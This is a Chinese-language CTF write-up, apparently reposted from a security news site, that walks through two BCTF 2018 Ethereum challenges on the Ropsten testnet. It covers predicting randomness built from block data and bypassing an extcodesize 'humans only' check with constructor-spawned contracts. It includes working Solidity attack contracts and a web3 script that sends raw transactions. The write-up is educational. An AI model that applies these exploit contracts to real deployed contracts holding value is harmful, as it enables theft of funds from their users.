Bctf Blockchain 两则详解——带你玩转区块链 – 安全客,安全资讯平台 | xxxBctf Blockchain 两则详解——带你玩转区块链 – 安全客,安全资讯平台 – xxx
菜单

Bctf Blockchain 两则详解——带你玩转区块链 – 安全客,安全资讯平台

十一月 30, 2018 - 安全客

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

近来各大ctf中,纷纷冒出了一个新题型——Blockchain,从HCTF开始到BCTF,作为一只web狗,还是要紧跟时代学习一下(毕竟web狗啥都要学),今天我们就来详细讨论一下这两题的解法,以及用到的知识点。

EOSGame

题目地址为:This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in Ropsten network.

这题是给了合约代码的,先贴一下合约代码:

contract EOSToken{     using SafeMath for uint256;     string TokenName = "EOS";     uint256 totalSupply = 100**18;     address owner;     mapping(address => uint256)  balances;      modifier onlyOwner() {         require(msg.sender == owner);         _;     }     constructor() public{         owner = msg.sender;         balances[owner] = totalSupply;     }     function mint(address _to,uint256 _amount) public onlyOwner {         require(_amount < totalSupply);         totalSupply = totalSupply.sub(_amount);         balances[_to] = balances[_to].add(_amount);     }     function transfer(address _from, address _to, uint256 _amount) public onlyOwner {         require(_amount < balances[_from]);         balances[_from] = balances[_from].sub(_amount);         balances[_to] = balances[_to].add(_amount);     }     function eosOf(address _who) public constant returns(uint256){         return balances[_who];     } }  contract EOSGame{     using SafeMath for uint256;     mapping(address => uint256) public bet_count;     uint256 FUND = 100;     uint256 MOD_NUM = 20;     uint256 POWER = 100;     uint256 SMALL_CHIP = 1;     uint256 BIG_CHIP = 20;     EOSToken  eos;      event FLAG(string b64email, string slogan);      constructor() public{         eos=new EOSToken();     }     function initFund() public{         if(bet_count[tx.origin] == 0){             bet_count[tx.origin] = 1;             eos.mint(tx.origin, FUND);         }     }     function bet(uint256 chip) internal {         bet_count[tx.origin] = bet_count[tx.origin].add(1);         uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));         uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));         uint256 shark = seed_hash % MOD_NUM;         uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));         uint256 lucky = lucky_hash % MOD_NUM;         if (shark == lucky){             eos.transfer(address(this), tx.origin, chip.mul(POWER));         }     }     function smallBlind() public {         eos.transfer(tx.origin, address(this), SMALL_CHIP);         bet(SMALL_CHIP);     }     function bigBlind() public {         eos.transfer(tx.origin, address(this), BIG_CHIP);         bet(BIG_CHIP);     }     function eosBlanceOf() public view returns(uint256) {         return eos.eosOf(tx.origin);     }     function CaptureTheFlag(string b64email) public{         require (eos.eosOf(tx.origin) > 18888);         emit FLAG(b64email, "Congratulations to capture the flag!");     } } 

如果你看不懂?没关系,我准备了,在互联网上找了个不错的视频教程,就无偿奉献给大家了。戳这里 提取码是:uh7p 。

合约内容解析

下面我们先来大体看一下合约的内容:

首先第一个合约是写了一个token,EOSToken,可以理解为一种游戏币(毕竟ctf就是一场游戏,23333)

然后两个合约都使用了这么一句:

using SafeMath for uint256; 

这里主要是为了防止溢出的,溢出?没错,在智能合约中,如果没有对某些数据类型进行限制,确实会导致溢出,这也导致了很多攻击的产生。详细分析戳这里

然后我们先看看怎么才能获取flag,很容易找到限制条件:

require (eos.eosOf(tx.origin) > 18888); 

只要我们的EOSToken是大于18888的,就能成功获得flag了。

然后我们来看这个game的具体逻辑:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

这个函数是如果你第一次玩这个游戏,会给你发放100个token。

下面到了整个游戏的关键函数bet:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

这是一个赌钱函数,首先会生成一个随机数,然后用你当前账户的赌博次数在生成一个随机数,同时对20取余,如果两个余数相等,那么会给你你赌资的100倍奖励,这里就涉及到了我们本题的考点了,solidity智能合约随机数预测,有关科普戳这里

我理解为 如果生成随机数使用的种子使用的是有关当前区块的有关信息,那就是可以预测的,因为如果使用合约调用合约,那两个交易会被打包在一个区块内,那生成种子的所有信息,攻击合约都可以获得,攻击合约可以利用这些信息,生成完全一样的随机数。

接下来,两个函数,分别是小赌和大赌,赌资分别是1 和 20。

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

理清攻击流程

那么很显然,我们的攻击流程可以归结如下:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

编写攻击合约

合约如下:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

差不多每次调用获取的收益在 20*100 左右,手动调用几次就能获取flag

获取flag

当你的余额足够了以后,调用当前合约的flag函数,将邮箱的base64作为参数传入,即可获取flag邮件

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

 

Fake3D

合约地址:This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten network.

贴一下合约代码:

contract WinnerList{     address public owner;     struct Richman{         address who;         uint balance;     }      function note(address _addr, uint _value) public{         Richman rm;         rm.who = _addr;         rm.balance = _value;     }  }  contract Fake3D {     using SafeMath for *;     mapping(address => uint256)  public balance;     uint public totalSupply  = 10**18;     WinnerList wlist;      event FLAG(string b64email, string slogan);      constructor(address _addr) public{         wlist = WinnerList(_addr);     }      modifier turingTest() {             address _addr = msg.sender;             uint256 _codeLength;             assembly {_codeLength := extcodesize(_addr)}             require(_codeLength == 0, "sorry humans only");             _;     }      function transfer(address _to, uint256 _amount) public{         require(balance[msg.sender] >= _amount);         balance[msg.sender] = balance[msg.sender].sub(_amount);         balance[_to] = balance[_to].add(_amount);     }       function airDrop() public turingTest returns (bool) {         uint256 seed = uint256(keccak256(abi.encodePacked(             (block.timestamp).add             (block.difficulty).add             ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add             (block.gaslimit).add             ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add             (block.number)         )));          if((seed - ((seed / 1000) * 1000)) < 288){             balance[tx.origin] = balance[tx.origin].add(10);             totalSupply = totalSupply.sub(10);             return true;         }         else             return false;     }     function CaptureTheFlag(string b64email) public{         require (balance[msg.sender] > 8888);         wlist.note(msg.sender,balance[msg.sender]);         emit FLAG(b64email, "Congratulations to capture the flag?");     }  } 

浏览一遍,发现是一个很明显的薅羊毛的游戏,但是这里有个判断:

assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); 

于是搜索到了一篇文章,文章地址

文章中说到,当一个合约在执行构造函数的时候,其extcodesize也为0 ,所以首先写出薅羊毛合约。

攻击合约

这里就借用 r3kapig 队伍写的来测试:

contract father {     function father() payable {}     Son son;     function attack(uint256 times) public {         for(uint i=0;i<times;i++){             son = new Son();         }     }     function () payable {     } } contract Son {     function Son() payable {         Fake3D f3d;         f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);         f3d.airDrop();         if (f3d.balance(this)>=10)         {             f3d.transfer(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91,10);         }         selfdestruct(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91);     }     function () payable{     } } 

这样调用 attack(150) 一次,大概可以得到400的收益,调用20次左右即可达到要求。

可以通过写脚本,来不断调用这个方法,脚本如下:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

但是在达到要求之后,在调用getflag的过程中遇到了问题,总是调用失败。

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

继续探索

于是想到了可能 合约WinnerList 给出的代码不准确,于是调用脚本去读取整整WinnerList 合约的地址:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

得到了WinnerList 的实际地址为:0xd229628fd201a391cf0c4ae6169133c1ed93d00a

于是反编译:https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten

在反编译的函数中发现了一个关键判断:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

总结一下就是调用的地址最后两位必须是43 或者倒数三四位必须是b1 。

这里使用工具爆破一下,得到合法的地址:

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

获取flag

我们先将token 通过tranfer方法交易给满足条件的账户,然后再调用flag函数:

即可完成整个的交易,获取flag。

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

Bctf Blockchain 两则详解——带你玩转区块链 - 安全客,安全资讯平台

脚本如下:

from web3 import Web3 import sha3  my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/2b86c426683f4a6095fd175fe931d799") assert my_ipc.isConnected() runweb3 = Web3(my_ipc) myaccount = "your account" private = "your private key" constract = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a"  transaction_dict1 = {         'from':Web3.toChecksumAddress(myaccount),         'to':constract,         'gasPrice':10000000000,          'gas':3000000,         'nonce': None,         'value':0,         'data':  "0xa9059cbb000000000000000000000000c918033c74054a190ed8004fdadf1b53f04a05430000000000000000000000000000000000000000000000000000000000002328"     } # 原来账户转账给爆破出的账户 tranfer transaction_dict = {         'from':Web3.toChecksumAddress(myaccount),         'to':constract,         'gasPrice':10000000000,          'gas':3000000,         'nonce': None,         'value':0,            'data':  "0x9590729100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000021205933567464486831616d6c68596d6c755147647459576c734c6d4e7662513d3d00000000000000000000000000000000000000000000000000000000000000"     } # 满足要求的账户调用flag函数 def init():     myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(myaccount))     print(myNonce)     transaction_dict["nonce"] = myNonce     r = runweb3.eth.account.signTransaction(transaction_dict, private)     try:         runweb3.eth.sendRawTransaction(r.rawTransaction.hex())     except:         pass if __name__ == '__main__':     while True:         init() 

 

后记

作为一只刚入门这个方向的半小白,从一无所知花了几天时间慢慢了解了这些东西,觉得做这些题目还挺有意思的,当然可能有很多笨拙的地方,还请大佬们多多指教。


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51